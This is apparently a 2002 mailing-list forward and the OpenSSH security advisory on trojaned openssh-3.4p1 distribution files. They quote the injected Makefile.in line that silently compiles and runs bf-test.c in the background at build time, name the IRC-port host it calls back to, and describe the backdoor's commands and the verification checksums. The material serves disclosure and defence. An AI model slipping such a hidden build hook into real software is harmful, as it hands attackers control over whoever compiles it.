openssh trojaned?

"Don't know if its worth anything, but there are some rumors on FreeBSD-security mailing list about openssh packages distributed from openssh.com and openbsd.org being trojaned.

FYI (I'm not on -security)

----- Forwarded message from Edwin Groothuis

-----

Date: Thu, 1 Aug 2002 16:55:51 +1000
From: Edwin Groothuis


To: incidents@securityfocus.com
Subject: openssh-3.4p1.tar.gz trojaned

Greetings,

Just want to inform you that the OpenSSH package op ftp.openbsd.org
(and probably all its mirrors now) it trojaned:

ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz


The OpenBSD people have been informed about it (via email to
deraadt@openbsd.org and via irc.openprojects.org/#openbsd)


The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
 all: libopenbsd-compat.a
+       @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

bf-test.c[1] is nothing more than a wrapper which generates a
shell-script[2] which compiles itself and tries to connect to an
server running on 203.62.158.32:6667 (web.snsonline.net).
 
[1]
http://www.mavetju.org/~edwin/bf-test.c

[2]
http://www.mavetju.org/~edwin/bf-output.sh


This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD
ports system:
    MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8

This is the md5 checksum of the trojaned openssh-3.4p1.tar.gz:
    MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57

Edwin

"

This is why cryptographic checksums are good, GPG signatures are good, and the distfiles structure we have in the BSD ports tree is good.

The OpenSSH Note

From: Niels Provos

To: security-announce@openbsd.org, misc@openbsd.org,
        announce@openbsd.org
Subject: OpenSSH Security Advisory:  Trojaned Distribution Files
Date: Thu, 1 Aug 2002 11:19:49 -0400

OpenSSH Security Advisory (adv.trojan)

1. Systems affected:

OpenSSH version 3.2.2p1, 3.4p1 and 3.4 have been trojaned on the
OpenBSD ftp server and potentially propagated via the normal mirroring
process to other ftp servers.  The code was inserted some time between
the 30th and 31th of July.  We replaced the trojaned files with their
originals at 7AM MDT, August 1st.

2. Impact:

Anyone who has installed OpenSSH from the OpenBSD ftp server or any
mirror within that time frame should consider his system compromised.
The trojan allows the attacker to gain control of the system as the
user compiling the binary.  Arbitrary commands can be executed.

3. Solution:

Verify that you did not build a trojaned version of the sources.  The
portable SSH tar balls contain PGP signatures that should be verified
before installation.  You can also use the following MD5 checksums for
verification.

MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8
MD5 (openssh-3.4p1.tar.gz.sig) = d5a956263287e7fd261528bb1962f24c
MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2
MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01
MD5 (openssh-3.2.2p1.tar.gz.sig) = be4f9ed8da1735efd770dc8fa2bb808a

4. Details

When building the OpenSSH binaries, the trojan resides in bf-test.c
and causes code to execute which connects to a specified IP address.
The destination port is normally used by the IRC protocol.  A
connection attempt is made once an hour.  If the connection is
successful, arbitrary commands may be executed.

Three commands are understood by the backdoor:

Command A:  Kill the exploit.
Command D:  Execute a command.
Command M:  Go to sleep.

5. Notice:

Because of the urgency of this issue, the advisory may not be
complete.  Updates will be posted to the OpenSSH web pages if
necessary.